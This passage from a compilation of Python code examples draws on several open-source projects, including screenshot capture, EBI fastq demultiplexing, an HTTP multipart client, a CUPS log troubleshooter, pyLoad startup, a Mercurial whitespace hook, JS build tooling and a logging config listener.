           window = gdk.get_default_root_window()
           tmp_size = window.get_geometry()
           size = []
           # Width
           size.append(tmp_size[2])
           # Height
           size.append(tmp_size[3])
           # offsets cannot be greater than or equal to the desktop size
           # we want to capture at least one pixel
           x = min(x, size[0] - 1)
           y = min(y, size[1] - 1)
	   
           # adjust the width and height parameters
           # so that the captured image is contained
           # within the desktop area
           if width == None:
               width = size[0] - x
           else:
               width = min(width, size[0] - x)
           if height == None:
               height = size[1] - y
           else:
               height = min(height, size[1] - y)
           pb = gdk.pixbuf_get_from_window(window, x, y, width,
                                           height)
           pb.savev(tmpFile, 'png', [], [])
           del pb
           gc.collect()
        else:
           window = gtk.gdk.get_default_root_window()
           size = window.get_size()
           # offsets cannot be greater than or equal to the desktop size
           # we want to capture at least one pixel
           x = min(x, size[0] - 1)
           y = min(y, size[1] - 1)
	   
           # adjust the width and height parameters
           # so that the captured image is contained
           # within the desktop area
           if width == None:
               width = size[0] - x
           else:
               width = min(width, size[0] - x)
           if height == None:
               height = size[1] - y
           else:
               height = min(height, size[1] - y)
           pb = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB, False, 8, 
                               width, 
                               height)
           pb = pb.get_from_drawable(window, window.get_colormap(),
                                      x, y, 0, 0, 
                                      width, 
                                      height)

           if pb:
              pb.save(tmpFile, 'png')
              del pb
              gc.collect()
        rv = b64encode(open(tmpFile).read())
        os.remove(tmpFile)
        return rv

Example 139

Project: qiita
Source File: ebi.py
View license
    def generate_demultiplexed_fastq(self, rewrite_fastq=False, mtime=None):
        """Generates demultiplexed fastq

        Parameters
        ----------
        rewrite_fastq : bool, optional
            If true, it forces the rewrite of the fastq files
        mtime : float, optional
            The time to use when creating the gz files. If None, the current
            time will be used by gzip.GzipFile. This is useful for testing.

        Returns
        -------
        demux_samples
            List of successful demultiplexed samples

        Notes
        -----
        - As a performace feature, this method will check if self.full_ebi_dir
        already exists and, if it does, the script will assume that in a
        previous execution this step was performed correctly and will simply
        read the file names from self.full_ebi_dir
        - When the object is created (init), samples, samples_prep and
        sample_demux_fps hold values for all available samples in the database.
        Here some of those values will be deleted (del's, within the loops) for
        those cases where the fastq.gz files weren't written or exist. This is
        an indication that they had no sequences and this kind of files are not
        accepted in EBI

        Raises
        ------
        EBISubmissionError
            - The demux file couldn't be read
            - All samples are removed
        """
        ar = self.artifact

        dir_not_exists = not isdir(self.full_ebi_dir)
        if dir_not_exists or rewrite_fastq:
            makedirs(self.full_ebi_dir)

            # An artifact will hold only one file of type `preprocessed_demux`
            # Thus, we only use the first one (the only one present)
            demux = [path for _, path, ftype in ar.filepaths
                     if ftype == 'preprocessed_demux'][0]

            demux_samples = set()
            with open_file(demux) as demux_fh:
                if not isinstance(demux_fh, File):
                    error_msg = "'%s' doesn't look like a demux file" % demux
                    LogEntry.create('Runtime', error_msg)
                    raise EBISubmissionError(error_msg)
                for s, i in to_per_sample_ascii(demux_fh,
                                                self.prep_template.keys()):
                    sample_fp = self.sample_demux_fps[s]
                    wrote_sequences = False
                    with GzipFile(sample_fp, mode='w', mtime=mtime) as fh:
                        for record in i:
                            fh.write(record)
                            wrote_sequences = True

                    if wrote_sequences:
                        demux_samples.add(s)
                    else:
                        del(self.samples[s])
                        del(self.samples_prep[s])
                        del(self.sample_demux_fps[s])
                        remove(sample_fp)
        else:
            demux_samples = set()
            extension = '.fastq.gz'
            extension_len = len(extension)
            for f in listdir(self.full_ebi_dir):
                fpath = join(self.full_ebi_dir, f)
                if isfile(fpath) and f.endswith(extension):
                    demux_samples.add(f[:-extension_len])

            missing_samples = set(self.samples.keys()).difference(
                set(demux_samples))
            for ms in missing_samples:
                del(self.samples[ms])
                del(self.samples_prep[ms])
                del(self.sample_demux_fps[ms])

        if not demux_samples:
            error_msg = ("All samples were removed from the submission "
                         "because the demux file is empty or the sample names "
                         "do not match.")
            LogEntry.create('Runtime', error_msg)
            raise EBISubmissionError(error_msg)
        return demux_samples

Example 140

Project: quasiquotes
Source File: __init__.py
View license
    def _make_func(self,
                   code,
                   frame,
                   col_offset,
                   kind,
                   *,
                   names=(),
                   _first=True):
        """Create the C function based off of the user code.

        Parameters
        ----------
        code : str
            The user code to use to create the function.
        frame : frame
            The first stackframe where this code is being compiled.
        col_offset : int
            The column offset of the code.
        kind : {'stmt', 'expr'}
            The type of function to create.
        names : iterable[str], optional
            The names to capture from the closing scope.

        Returns
        -------
        f : callable
            The C function from user code.
        """
        if kind == 'stmt':
            template = self._stmt_template
            extra_template_args = {
                'localassign': '\n'.join(
                    map(
                        '    {0} && PyDict_SetItemString(__qq_locals,'
                        ' "{0}", {0});'.format,
                        names,
                    ),
                ),
            }
        elif kind == 'expr':
            template = self._expr_template
            extra_template_args = {}
        else:
            raise ValueError(
                "incorrect kind ('{}') must be 'stmt' or 'expr'".format(kind),
            )

        cname = self._cname(code, frame.f_code, kind)
        with open(cname, 'w+') as f:
            f.write(template.format(
                fmt='"{}"'.format('O' * len(names)),
                keywords=(
                    '{' + ', '.join(map('"{}"'.format, names)) + ', NULL}'
                ),
                kwargs=', '.join(map('&{}'.format, names)),
                localdecls='\n'.join(
                    map('    PyObject *{} = NULL;'.format, names),
                ),
                read_scope='\n'.join(
                    self._read_scope_template.format(name=name)
                    for name in names,
                ),
                lineno=frame.f_lineno,
                filename=frame.f_code.co_filename,
                code=code,
                **extra_template_args
            ))
            f.flush()

        try:
            return self._compile(code, frame.f_code, kind)
        except CompilationError as e:
            if not _first:
                try:
                    os.remove(cname)
                except FileNotFoundError:
                    pass
                raise
            return self._make_func(
                code,
                frame,
                col_offset,
                kind,
                names=tuple(map(
                    op.methodcaller('group', 1),
                    self._missing_name_pattern.finditer(str(e)),
                )),
                _first=False,
            )

Example 141

Project: entropy
Source File: client.py
View license
    def _generic_post_handler(self, function_name, params, file_params,
        timeout):
        """
        Given a function name and the request data (dict format), do the actual
        HTTP request and return the response object to caller.
        WARNING: params and file_params dict keys must be ASCII string only.

        @param function_name: name of the function that called this method
        @type function_name: string
        @param params: POST parameters
        @type params: dict
        @param file_params: mapping composed by file names as key and tuple
            composed by (file_name, file object) as values
        @type file_params: dict
        @param timeout: socket timeout
        @type timeout: float
        @return: tuple composed by the server response string or None
            (in case of empty response) and the HTTPResponse object (useful
                for checking response status)
        @rtype: tuple
        """
        if timeout is None:
            timeout = self._default_timeout_secs
        multipart_boundary = "---entropy.services,boundary---"
        request_path = self._request_path.rstrip("/") + "/" + function_name
        const_debug_write(__name__,
            "WebService _generic_post_handler, calling: %s at %s -- %s,"
            " tx_callback: %s, timeout: %s" % (self._request_host, request_path,
                params, self._transfer_callback, timeout,))
        connection = None
        try:
            if self._request_protocol == "http":
                connection = httplib.HTTPConnection(self._request_host,
                    timeout = timeout)
            elif self._request_protocol == "https":
                ssl_context = None
                if hasattr(ssl, 'create_default_context'):
                    ssl_context = ssl.create_default_context(
                        purpose = ssl.Purpose.CLIENT_AUTH)
                connection = httplib.HTTPSConnection(
                    self._request_host, timeout = timeout, context = ssl_context)
            else:
                raise WebService.RequestError("invalid request protocol",
                    method = function_name)

            headers = {
                "Accept": "text/plain",
                "User-Agent": self._generate_user_agent(function_name),
            }

            if file_params is None:
                file_params = {}
            # autodetect file parameters in params
            for k in list(params.keys()):
                if isinstance(params[k], (tuple, list)) \
                    and (len(params[k]) == 2):
                    f_name, f_obj = params[k]
                    if isinstance(f_obj, file):
                        file_params[k] = params[k]
                        del params[k]
                elif const_isunicode(params[k]):
                    # convert to raw string
                    params[k] = const_convert_to_rawstring(params[k],
                        from_enctype = "utf-8")
                elif not const_isstring(params[k]):
                    # invalid ?
                    if params[k] is None:
                        # will be converted to ""
                        continue
                    int_types = const_get_int()
                    supported_types = (float, list, tuple) + int_types
                    if not isinstance(params[k], supported_types):
                        raise WebService.UnsupportedParameters(
                            "%s is unsupported type %s" % (k, type(params[k])))
                    list_types = (list, tuple)
                    if isinstance(params[k], list_types):
                        # not supporting nested lists
                        non_str = [x for x in params[k] if not \
                            const_isstring(x)]
                        if non_str:
                            raise WebService.UnsupportedParameters(
                                "%s is unsupported type %s" % (k,
                                    type(params[k])))

            body = None
            if not file_params:
                headers["Content-Type"] = "application/x-www-form-urlencoded"
                encoded_params = urllib_parse.urlencode(params)
                data_size = len(encoded_params)
                if self._transfer_callback is not None:
                    self._transfer_callback(0, data_size, False)

                if data_size < 65536:
                    try:
                        connection.request("POST", request_path, encoded_params,
                            headers)
                    except socket.error as err:
                        raise WebService.RequestError(err,
                            method = function_name)
                else:
                    try:
                        connection.request("POST", request_path, None, headers)
                    except socket.error as err:
                        raise WebService.RequestError(err,
                            method = function_name)
                    sio = StringIO(encoded_params)
                    data_size = len(encoded_params)
                    while True:
                        chunk = sio.read(65535)
                        if not chunk:
                            break
                        try:
                            connection.send(chunk)
                        except socket.error as err:
                            raise WebService.RequestError(err,
                                method = function_name)
                        if self._transfer_callback is not None:
                            self._transfer_callback(sio.tell(),
                                data_size, False)
                # for both ways, send a signal through the callback
                if self._transfer_callback is not None:
                    self._transfer_callback(data_size, data_size, False)

            else:
                headers["Content-Type"] = "multipart/form-data; boundary=" + \
                    multipart_boundary
                body_file, body_fpath = self._encode_multipart_form(params,
                    file_params, multipart_boundary)
                try:
                    data_size = body_file.tell()
                    headers["Content-Length"] = str(data_size)
                    body_file.seek(0)
                    if self._transfer_callback is not None:
                        self._transfer_callback(0, data_size, False)

                    try:
                        connection.request("POST", request_path, None, headers)
                    except socket.error as err:
                        raise WebService.RequestError(err,
                            method = function_name)
                    while True:
                        chunk = body_file.read(65535)
                        if not chunk:
                            break
                        try:
                            connection.send(chunk)
                        except socket.error as err:
                            raise WebService.RequestError(err,
                                method = function_name)
                        if self._transfer_callback is not None:
                            self._transfer_callback(body_file.tell(),
                                data_size, False)
                    if self._transfer_callback is not None:
                        self._transfer_callback(data_size, data_size, False)
                finally:
                    body_file.close()
                    os.remove(body_fpath)

            try:
                response = connection.getresponse()
            except socket.error as err:
                raise WebService.RequestError(err,
                    method = function_name)
            const_debug_write(__name__, "WebService.%s(%s), "
                "response header: %s" % (
                    function_name, params, response.getheaders(),))
            total_length = response.getheader("Content-Length", "-1")
            try:
                total_length = int(total_length)
            except ValueError:
                total_length = -1
            outcome = const_convert_to_rawstring("")
            current_len = 0
            if self._transfer_callback is not None:
                self._transfer_callback(current_len, total_length, True)
            while True:
                try:
                    chunk = response.read(65536)
                except socket.error as err:
                    raise WebService.RequestError(err,
                        method = function_name)
                if not chunk:
                    break
                outcome += chunk
                current_len += len(chunk)
                if self._transfer_callback is not None:
                    self._transfer_callback(current_len, total_length, True)

            if self._transfer_callback is not None:
                self._transfer_callback(total_length, total_length, True)

            if const_is_python3():
                outcome = const_convert_to_unicode(outcome)
            if not outcome:
                return None, response
            return outcome, response

        except httplib.HTTPException as err:
            raise WebService.RequestError(err,
                method = function_name)
        finally:
            if connection is not None:
                connection.close()

Example 142

View license
    def display (self):
        answers = self.troubleshooter.answers
        parent = self.troubleshooter.get_window ()
        self.answers = {}
        checkpoint = answers.get ('error_log_checkpoint')
        cursor = answers.get ('error_log_cursor')
        timestamp = answers.get ('error_log_timestamp')

        if ('error_log' in self.persistent_answers or
            'journal' in self.persistent_answers):
            checkpoint = None
            cursor = None

        def fetch_log (c):
            prompt = c._get_prompt_allowed ()
            c._set_prompt_allowed (False)
            c._connect ()
            with NamedTemporaryFile (delete=False) as tmpf:
                success = False
                try:
                    c.getFile ('/admin/log/error_log', tmpf.file)
                    success = True
                except cups.HTTPError:
                    try:
                        os.remove (tmpf.file)
                    except OSError:
                        pass

                c._set_prompt_allowed (prompt)
                if success:
                    return tmpf.file

            return None

        now = datetime.datetime.fromtimestamp (time.time ()).strftime ("%F %T")
        self.authconn = self.troubleshooter.answers['_authenticated_connection']
        if 'error_log_debug_logging_set' in answers:
            try:
                self.op = TimedOperation (self.authconn.adminGetServerSettings,
                                          parent=parent)
                settings = self.op.run ()
            except cups.IPPError:
                return False

            settings[cups.CUPS_SERVER_DEBUG_LOGGING] = '0'
            orig_settings = answers['cups_server_settings']
            settings['MaxLogSize'] = orig_settings.get ('MaxLogSize', '2000000')
            success = False
            def set_settings (connection, settings):
                connection.adminSetServerSettings (settings)

                # Now reconnect.
                attempt = 1
                while attempt <= 5:
                    try:
                        time.sleep (1)
                        connection._connect ()
                        break
                    except RuntimeError:
                        # Connection failed
                        attempt += 1

            try:

                self.op = TimedOperation (set_settings,
                                          (self.authconn, settings),
                                          parent=parent)
                self.op.run ()
                self.persistent_answers['error_log_debug_logging_unset'] = True
            except cups.IPPError:
                pass

        self.answers = {}
        if journal and cursor is not None:
            def journal_format (x):
                try:
                    priority = "XACEWNIDd"[x['PRIORITY']]
                except (IndexError, TypeError):
                    priority = " "

                return (priority + " " +
                        x['__REALTIME_TIMESTAMP'].strftime("[%m/%b/%Y:%T]") +
                        " " + x['MESSAGE'])

            r = journal.Reader ()
            r.seek_cursor (cursor)
            r.add_match (_SYSTEMD_UNIT="cups.service")
            self.answers['journal'] = [journal_format (x) for x in r]

        if checkpoint is not None:
            self.op = TimedOperation (fetch_log,
                                      (self.authconn,),
                                      parent=parent)
            tmpfname = self.op.run ()
            if tmpfname is not None:
                f = open (tmpfname)
                f.seek (checkpoint)
                lines = f.readlines ()
                os.remove (tmpfname)
                self.answers = { 'error_log': [x.strip () for x in lines] }

        if (len (self.answers.get ('journal', [])) +
            len (self.answers.get ('error_log', []))) == 0:
            cmd = ("su -c 'journalctl -u cups.service "
                   "--since=\"%s\" --until=\"%s\"' > troubleshoot-logs.txt" %
                   (timestamp, now))
            self.entry.set_text (cmd)
            return True

        return False

Example 143

Project: pyload
Source File: pyLoadCore.py
View license
    def start(self, rpc=True, web=True):
        """ starts the fun :D """

        self.version = CURRENT_VERSION

        if not exists("pyload.conf"):
            from module.setup import Setup

            print "This is your first start, running configuration assistent now."
            self.config = ConfigParser()
            s = Setup(pypath, self.config)
            res = False
            try:
                res = s.start()
            except SystemExit:
                pass
            except KeyboardInterrupt:
                print "\nSetup interrupted"
            except:
                res = False
                print_exc()
                print "Setup failed"
            if not res:
                remove("pyload.conf")

            exit()

        try: signal.signal(signal.SIGQUIT, self.quit)
        except: pass

        self.config = ConfigParser()

        gettext.setpaths([join(os.sep, "usr", "share", "pyload", "locale"), None])
        translation = gettext.translation("pyLoad", self.path("locale"),
                                          languages=[self.config['general']['language'],"en"],fallback=True)
        translation.install(True)

        self.debug = self.doDebug or self.config['general']['debug_mode']
        self.remote &= self.config['remote']['activated']

        pid = self.isAlreadyRunning()
        if pid:
            print _("pyLoad already running with pid %s") % pid
            exit()

        if os.name != "nt" and self.config["general"]["renice"]:
            os.system("renice %d %d" % (self.config["general"]["renice"], os.getpid()))

        if self.config["permission"]["change_group"]:
            if os.name != "nt":
                try:
                    from grp import getgrnam

                    group = getgrnam(self.config["permission"]["group"])
                    os.setgid(group[2])
                except Exception, e:
                    print _("Failed changing group: %s") % e

        if self.config["permission"]["change_user"]:
            if os.name != "nt":
                try:
                    from pwd import getpwnam

                    user = getpwnam(self.config["permission"]["user"])
                    os.setuid(user[2])
                except Exception, e:
                    print _("Failed changing user: %s") % e

        self.check_file(self.config['log']['log_folder'], _("folder for logs"), True)

        if self.debug:
            self.init_logger(logging.DEBUG) # logging level
        else:
            self.init_logger(logging.INFO) # logging level

        self.do_kill = False
        self.do_restart = False
        self.shuttedDown = False

        self.log.info(_("Starting") + " pyLoad %s" % CURRENT_VERSION)
        self.log.info(_("Using home directory: %s") % getcwd())

        self.writePidFile()

        #@TODO refractor

        remote.activated = self.remote
        self.log.debug("Remote activated: %s" % self.remote)

        self.check_install("Crypto", _("pycrypto to decode container files"))
        #img = self.check_install("Image", _("Python Image Libary (PIL) for captcha reading"))
        #self.check_install("pycurl", _("pycurl to download any files"), True, True)
        self.check_file("tmp", _("folder for temporary files"), True)
        #tesser = self.check_install("tesseract", _("tesseract for captcha reading"), False) if os.name != "nt" else True

        self.captcha = True # checks seems to fail, althoug tesseract is available

        self.check_file(self.config['general']['download_folder'], _("folder for downloads"), True)

        if self.config['ssl']['activated']:
            self.check_install("OpenSSL", _("OpenSSL for secure connection"))

        self.setupDB()
        if self.config.oldRemoteData:
            self.log.info(_("Moving old user config to DB"))
            self.db.addUser(self.config.oldRemoteData["username"], self.config.oldRemoteData["password"])

            self.log.info(_("Please check your logindata with ./pyLoadCore.py -u"))

        if self.deleteLinks:
            self.log.info(_("All links removed"))
            self.db.purgeLinks()

        self.requestFactory = RequestFactory(self)
        __builtin__.pyreq = self.requestFactory

        self.lastClientConnected = 0

        # later imported because they would trigger api import, and remote value not set correctly
        from module import Api
        from module.HookManager import HookManager
        from module.ThreadManager import ThreadManager

        if Api.activated != self.remote:
            self.log.warning("Import error: API remote status not correct.")

        self.api = Api.Api(self)

        self.scheduler = Scheduler(self)

        #hell yeah, so many important managers :D
        self.pluginManager = PluginManager(self)
        self.pullManager = PullManager(self)
        self.accountManager = AccountManager(self)
        self.threadManager = ThreadManager(self)
        self.captchaManager = CaptchaManager(self)
        self.hookManager = HookManager(self)
        self.remoteManager = RemoteManager(self)

        self.js = JsEngine()

        self.log.info(_("Downloadtime: %s") % self.api.isTimeDownload())

        if rpc:
            self.remoteManager.startBackends()

        if web:
            self.init_webserver()

        spaceLeft = freeSpace(self.config["general"]["download_folder"])

        self.log.info(_("Free space: %s") % formatSize(spaceLeft))

        self.config.save() #save so config files gets filled

        link_file = join(pypath, "links.txt")

        if exists(link_file):
            f = open(link_file, "rb")
            if f.read().strip():
                self.api.addPackage("links.txt", [link_file], 1)
            f.close()

        link_file = "links.txt"
        if exists(link_file):
            f = open(link_file, "rb")
            if f.read().strip():
                self.api.addPackage("links.txt", [link_file], 1)
            f.close()

        #self.scheduler.addJob(0, self.accountManager.getAccountInfos)
        self.log.info(_("Activating Accounts..."))
        self.accountManager.getAccountInfos()

        self.threadManager.pause = False
        self.running = True

        self.log.info(_("Activating Plugins..."))
        self.hookManager.coreReady()

        self.log.info(_("pyLoad is up and running"))

        #test api
#        from module.common.APIExerciser import startApiExerciser
#        startApiExerciser(self, 3)

        #some memory stats
#        from guppy import hpy
#        hp=hpy()
#        import objgraph
#        objgraph.show_most_common_types(limit=20)
#        import memdebug
#        memdebug.start(8002)

        locals().clear()

        while True:
            sleep(2)
            if self.do_restart:
                self.log.info(_("restarting pyLoad"))
                self.restart()
            if self.do_kill:
                self.shutdown()
                self.log.info(_("pyLoad quits"))
                self.removeLogger()
                _exit(0) #@TODO thrift blocks shutdown

            self.threadManager.work()
            self.scheduler.work()

Example 144

Project: attention-lvcsr
Source File: check_whitespace.py
View license
def main(argv=None):
    if argv is None:
        argv = sys.argv[1:]

    parser = argparse.ArgumentParser(description="Pretxncommit hook for Mercurial to check for whitespace issues")
    parser.add_argument("-n", "--no-indentation",
                        action="store_const",
                        default=False,
                        const=True,
                        help="don't check indentation, just basic parsing"
                       )
    parser.add_argument("-i", "--incremental",
                        action="store_const",
                        default=False,
                        const=True,
                        help="only block on newly introduced indentation problems; ignore all others"
                       )
    parser.add_argument("-p", "--incremental-with-patch",
                        action="store_const",
                        default=False,
                        const=True,
                        help="only block on newly introduced indentation problems; propose a patch for all others"
                       )
    parser.add_argument("-s", "--skip-after-failure",
                        action="store_const",
                        default=False,
                        const=True,
                        help="when this pre-commit hook fails, don't run it on the next commit; "
                             "this lets you check in your changes and then check in "
                             "any necessary whitespace changes in the subsequent commit"
                       )
    args = parser.parse_args(argv)

    # -i and -s are incompatible; if you skip checking, you end up with a not-correctly-indented
    # file, which -i then causes you to ignore!
    if args.skip_after_failure and args.incremental:
        print("*** check whitespace hook misconfigured! -i and -s are incompatible.", file=sys.stderr)
        return 1

    if is_merge():
        # don't inspect merges: (a) they're complex and (b) they don't really introduce new code
        return 0

    if args.skip_after_failure and should_skip_commit():
        # we're set up to skip this one, so skip it, but
        # first, make sure we don't skip the next one as well :)
        os.remove(SKIP_WHITESPACE_CHECK_FILENAME)
        return 0

    block_commit = False

    diffs = []

    added_filenames = added_files()
    changed_filenames = changed_files()

    for filename in filter(is_python_file, added_filenames + changed_filenames):
        code = get_file_contents(filename)
        parse_error = get_parse_error(code)
        if parse_error is not None:
            print("*** %s has parse error: %s" % (filename, parse_error), file=sys.stderr)
            block_commit = True
        else:
            # parsing succeeded, it is safe to check indentation
            if not args.no_indentation:
                was_clean = None  # unknown
                # only calculate was_clean if it will matter to us
                if args.incremental or args.incremental_with_patch:
                    if filename in changed_filenames:
                        old_file_contents = get_file_contents(filename, revision=parent_commit())
                        was_clean = get_correct_indentation_diff(old_file_contents, "") is None
                    else:
                        was_clean = True  # by default -- it was newly added and thus had no prior problems

                check_indentation = was_clean or not args.incremental
                if check_indentation:
                    indentation_diff = get_correct_indentation_diff(code, filename)
                    if indentation_diff is not None:
                        if was_clean or not args.incremental_with_patch:
                            block_commit = True
                        diffs.append(indentation_diff)
                        print("%s is not correctly indented" % filename, file=sys.stderr)

    if len(diffs) > 0:
        diffs_filename = ".hg/indentation_fixes.patch"
        save_diffs(diffs, diffs_filename)
        print("*** To fix all indentation issues, run: cd `hg root` && patch -p0 < %s" % diffs_filename, file=sys.stderr)

    if block_commit:
        save_filename = ".hg/commit_message.saved"
        save_commit_message(save_filename)
        print("*** Commit message saved to %s" % save_filename, file=sys.stderr)

        if args.skip_after_failure:
            save_skip_next_commit()
            print("*** Next commit attempt will not be checked. To change this, rm %s" % SKIP_WHITESPACE_CHECK_FILENAME, file=sys.stderr)

    return int(block_commit)

Example 145

Project: turbulenz_tools
Source File: maketzjs.py
View license
def tzjs_generate(env, options, input_js):

    # The set of files to be injected

    Profiler.start('find_inject_code')
    inject_js = inject_js_from_options(options)
    Profiler.stop('find_inject_code')

    if 0 < len(inject_js):
        LOG.info("Files to inject:")
        for i in inject_js:
            LOG.info(" - '%s'", i)

    # Create a context and render the template

    Profiler.start('load_templates')
    context = context_from_options(options, input_js[0])
    templates_js = env_load_templates(env, input_js)
    Profiler.stop('load_templates')

    Profiler.start('render_js')
    (rendered_js, inc_js) = render_js(context, options, templates_js,
                                      inject_js)
    rendered_js = rendered_js.encode('utf-8')
    Profiler.stop('render_js')

    if 0 != len(inc_js):
        raise ToolsException("internal error")

    # If required, remove all calls to 'debug.*' methods BEFORE
    # compacting

    # TODO: We write and read the files too many times.  Better to
    # write once to a temporary, keep track of the name and invoke
    # each external command on files, creating subsequent temporaries
    # as required.

    if options.stripdebug:

        strip_path = "strip-debug"
        if options.stripdebugpath:
            strip_path = normpath(abspath(options.stripdebugpath))

        LOG.info("Stripping debug method calls ...")

        # Check we can actually run strip debug, with the given path
        p = subprocess.Popen('%s -h' % strip_path,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.STDOUT,
                             shell=True)
        p.communicate()
        if p.returncode != 0:
            raise ToolsException( \
                "\n\tstrip-debug tool could not be found, check it's on your path\n"
                "\tor supply the path with --strip-debug <path>. To run maketzjs\n"
                "\twithout stripping debug code run with --no-strip-debug." )

        Profiler.start('strip_debug')

        strip_debug_flags = "-Ddebug=false"

        # Add the default flags first, in case the custom flags
        # override them.

        if options.verbose:
            strip_debug_flags += " -v"
        for s in options.stripnamespaces:
            strip_debug_flags += " --namespace %s" % s
        for v in options.stripvars:
            strip_debug_flags += " -D %s" % v
        if options.ignoreerrors:
            strip_debug_flags += " --ignore-errors"

        # Launch the strip command and pass in the full script via
        # streams.

        with NamedTemporaryFile(delete = False) as t:
            LOG.info("Writing temp JS to '%s'", t.name)
            t.write(rendered_js)

        with NamedTemporaryFile(delete = False) as tmp_out:
            pass

        strip_cmd = "%s %s -o %s %s" % (strip_path, strip_debug_flags,
                                        tmp_out.name, t.name)
        LOG.info("Strip cmd: %s", strip_cmd)
        strip_retval = subprocess.call(strip_cmd, shell=True)

        if 0 != strip_retval:
            raise ToolsException( \
                "strip-debug tool exited with code %d\n"
                "The (merged) input probably contains a syntax error:\n"
                "  %s" % (strip_retval, t.name))

        rendered_js = read_file_utf8(tmp_out.name).encode('utf-8')
        remove(tmp_out.name)
        remove(t.name)

        Profiler.stop('strip_debug')

    # If required, compact the JS via a temporary file, otherwise just
    # write out directly to the output file.

    if options.mode != 'webworker-debug' and (options.yui or options.closure or options.uglifyjs):

        Profiler.start('compact')

        with NamedTemporaryFile(delete = False) as t:
            LOG.info("Writing temp JS to '%s'", t.name)
            t.write(rendered_js)

        LOG.info("Compacting temp JS to '%s'", options.output)
        tzjs_compact(options, t.name, options.output)
        remove(t.name)
        Profiler.stop('compact')

    else:

        LOG.info("Writing JS to '%s'", options.output)
        Profiler.start('write_out')
        try:
            with open(options.output, 'wb') as f:
                f.write(rendered_js)
                LOG.info("Succeeded")
        except IOError:
            raise ToolsException("failed to write file: %s" % options.output)
        Profiler.stop('write_out')

    return 0

Example 146

View license
@task_method
def parse_strace_deps(self, path, cwd):
	# uncomment the following line to disable the dependencies and force a file scan
	# return
	try:
		cnt = Utils.readf(path)
	finally:
		try:
			os.remove(path)
		except OSError:
			pass

	if not isinstance(cwd, str):
		cwd = cwd.abspath()

	nodes = []
	bld = self.generator.bld
	try:
		cache = bld.strace_cache
	except AttributeError:
		cache = bld.strace_cache = {}

	# chdir and relative paths
	pid_to_cwd = {}

	global BANNED
	done = set()
	for m in re.finditer(re_lines, cnt):
		# scraping the output of strace
		pid = m.group('pid')
		if m.group('npid'):
			npid = m.group('npid')
			pid_to_cwd[npid] = pid_to_cwd.get(pid, cwd)
			continue

		p = m.group('path').replace('\\"', '"')

		if p == '.' or m.group().find('= -1 ENOENT') > -1:
			# just to speed it up a bit
			continue

		if not os.path.isabs(p):
			p = os.path.join(pid_to_cwd.get(pid, cwd), p)

		call = m.group('call')
		if call == 'chdir':
			pid_to_cwd[pid] = p
			continue

		if p in done:
			continue
		done.add(p)

		for x in BANNED:
			if p.startswith(x):
				break
		else:
			if p.endswith('/') or os.path.isdir(p):
				continue

			try:
				node = cache[p]
			except KeyError:
				strace_lock.acquire()
				try:
					cache[p] = node = bld.root.find_node(p)
					if not node:
						continue
				finally:
					strace_lock.release()
			nodes.append(node)

	# record the dependencies then force the task signature recalculation for next time
	if Logs.verbose:
		Logs.debug('deps: real scanner for %r returned %r', self, nodes)
	bld = self.generator.bld
	bld.node_deps[self.uid()] = nodes
	bld.raw_deps[self.uid()] = []
	try:
		del self.cache_sig
	except AttributeError:
		pass
	self.signature()

Example 147

Project: holland
Source File: config.py
View license
def listen(port=DEFAULT_LOGGING_CONFIG_PORT):
    """
    Start up a socket server on the specified port, and listen for new
    configurations.

    These will be sent as a file suitable for processing by fileConfig().
    Returns a Thread object on which you can call start() to start the server,
    and which you can join() when appropriate. To stop the server, call
    stopListening().
    """
    if not thread:
        raise NotImplementedError, "listen() needs threading to work"

    class ConfigStreamHandler(StreamRequestHandler):
        """
        Handler for a logging configuration request.

        It expects a completely new logging configuration and uses fileConfig
        to install it.
        """
        def handle(self):
            """
            Handle a request.

            Each request is expected to be a 4-byte length,
            followed by the config file. Uses fileConfig() to do the
            grunt work.
            """
            import tempfile
            try:
                conn = self.connection
                chunk = conn.recv(4)
                if len(chunk) == 4:
                    slen = struct.unpack(">L", chunk)[0]
                    chunk = self.connection.recv(slen)
                    while len(chunk) < slen:
                        chunk = chunk + conn.recv(slen - len(chunk))
                    #Apply new configuration. We'd like to be able to
                    #create a StringIO and pass that in, but unfortunately
                    #1.5.2 ConfigParser does not support reading file
                    #objects, only actual files. So we create a temporary
                    #file and remove it later.
                    file = tempfile.mktemp(".ini")
                    f = open(file, "w")
                    f.write(chunk)
                    f.close()
                    fileConfig(file)
                    os.remove(file)
            except socket.error, e:
                if type(e.args) != types.TupleType:
                    raise
                else:
                    errcode = e.args[0]
                    if errcode != RESET_ERROR:
                        raise

    class ConfigSocketReceiver(ThreadingTCPServer):
        """
        A simple TCP socket-based logging config receiver.
        """

        allow_reuse_address = 1

        def __init__(self, host='localhost', port=DEFAULT_LOGGING_CONFIG_PORT,
                     handler=None):
            ThreadingTCPServer.__init__(self, (host, port), handler)
            logging._acquireLock()
            self.abort = 0
            logging._releaseLock()
            self.timeout = 1

        def serve_until_stopped(self):
            import select
            abort = 0
            while not abort:
                rd, wr, ex = select.select([self.socket.fileno()],
                                           [], [],
                                           self.timeout)
                if rd:
                    self.handle_request()
                logging._acquireLock()
                abort = self.abort
                logging._releaseLock()

    def serve(rcvr, hdlr, port):
        server = rcvr(port=port, handler=hdlr)
        global _listener
        logging._acquireLock()
        _listener = server
        logging._releaseLock()
        server.serve_until_stopped()

    return threading.Thread(target=serve,
                            args=(ConfigSocketReceiver,
                                  ConfigStreamHandler, port))

Example 148

Project: QGIS-CKAN-Browser
Source File: ckanconnector.py
View license
    def download_resource(self, url, resource_format, dest_file, delete):
        try:
#             if resource_format is not None:
#                 if resource_format.lower() == 'georss':
#                     dest_file += '.xml'
            if delete is True:
                os.remove(dest_file)
            #urls might have line breaks
            url = self.util.remove_newline(url)
            response = requests.get(
                url
                , headers=self.ua_chrome
                , verify=False
                , stream=True
                , proxies=self.settings.get_proxies()[1]
                , timeout=self.settings.request_timeout
            )
            if not response.ok:
                return False, self.util.tr(u'cc_download_error').format(response.reason), None

            # TODO remove after testing
            # doesn't work headers is object of type 'request.structures.CaseInsensitiveDict'
            # self.util.msg_log(u'{0}'.format(json.dumps(response.headers, indent=2, sort_keys=True)))
            for k, v in response.headers.iteritems():
                self.util.msg_log(u"['{0}']: \t{1}".format(k, v))

            # Content-Disposition:
            # http://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html
            # http://www.iana.org/assignments/cont-disp/cont-disp.xhtml
            file_name_from_service = self.__file_name_from_service(
                url
                , response.headers.get('content-disposition')
                , response.headers.get('content-type')
            )
